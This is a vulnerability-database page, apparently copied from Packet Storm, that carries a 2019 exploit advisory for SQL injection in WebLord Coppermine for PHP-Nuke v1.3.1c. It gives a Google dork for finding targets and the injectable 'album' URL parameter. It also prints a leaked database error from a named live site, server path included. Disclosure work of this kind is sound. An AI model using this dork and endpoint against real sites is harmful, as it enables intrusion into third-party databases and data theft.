Lucene search
+L

WebLord WL-Nuke Coppermine For PHP-Nuke 1.3.1c SQL Injection

🗓️ 13 Jun 2019 00:00:00Reported by KingSkrupellosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 86 Views

WebLord Coppermine for PHP-Nuke v1.3.1c SQL Injection, discovered by KingSkrupellos, allows remote attackers to execute arbitrary SQL commands and unauthorized data manipulation. The vulnerability impacts Windows and Linux systems

Code
`###################################################################  
  
# Exploit Title : WebLord WL-Nuke Coppermine for PHP-Nuke v1.3.1c SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 14/06/2019  
# Vendor Homepage : pcnuke.com - weblord.it - phpnuke.org  
# Information Link : forum.coppermine-gallery.net  
# Software Version : v1.3.1c  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : intext:Engine PHP-Nuke - Powered by WL-Nuke site:it  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
###################################################################  
  
# Impact :  
***********  
WebLord Coppermine for PHP-Nuke v1.3.1c is prone to an SQL-injection vulnerability because   
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
Exploiting this issue could allow an attacker to compromise the application, access or   
modify data, or exploit latent vulnerabilities in the underlying database.   
A remote attacker can send a specially crafted request to the vulnerable application and   
execute arbitrary SQL commands in application`s database. Further exploitation of this   
vulnerability may result in unauthorized data manipulation.   
An attacker can exploit this issue using a browser or with any SQL Injector Tool.  
  
###################################################################  
  
# SQL Injection Exploit :  
**********************  
/sci/modules.php?name=coppermine&file=thumbnails&op=modload&album=[SQL Injection]&page=&sort=ra  
  
/PATH-HERE/modules.php?name=coppermine&file=thumbnails&op=modload&album=[SQL Injection]&page=&sort=ra  
  
###################################################################  
  
# Example SQL Database Error :  
****************************  
There was an error while processing a database query.  
While executing query "SELECT pid, filepath, filename, p.title, keywords,   
url_prefix, filesize, pwidth, pheight, ctime, p.aid, p.title, caption, hits, description   
from nuke_cpg_pictures as p INNER JOIN nuke_cpg_albums AS a ON   
(a.aid = 3 AND visibility IN (0,3,3,10001)) WHERE p.aid='3' AND   
approved='YES' ORDER BY pic_rating ASC LIMIT -12 ,12" on 0  
mySQL error: You have an error in your SQL syntax; check the manual that   
corresponds to your MySQL server version for the right syntax to use near '-12 ,12' at line 1  
File: /web/htdocs/www.sciclubsesto.it/home/sci/modules/coppermine/include/functions.inc - Linea: 107   
  
###################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
###################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation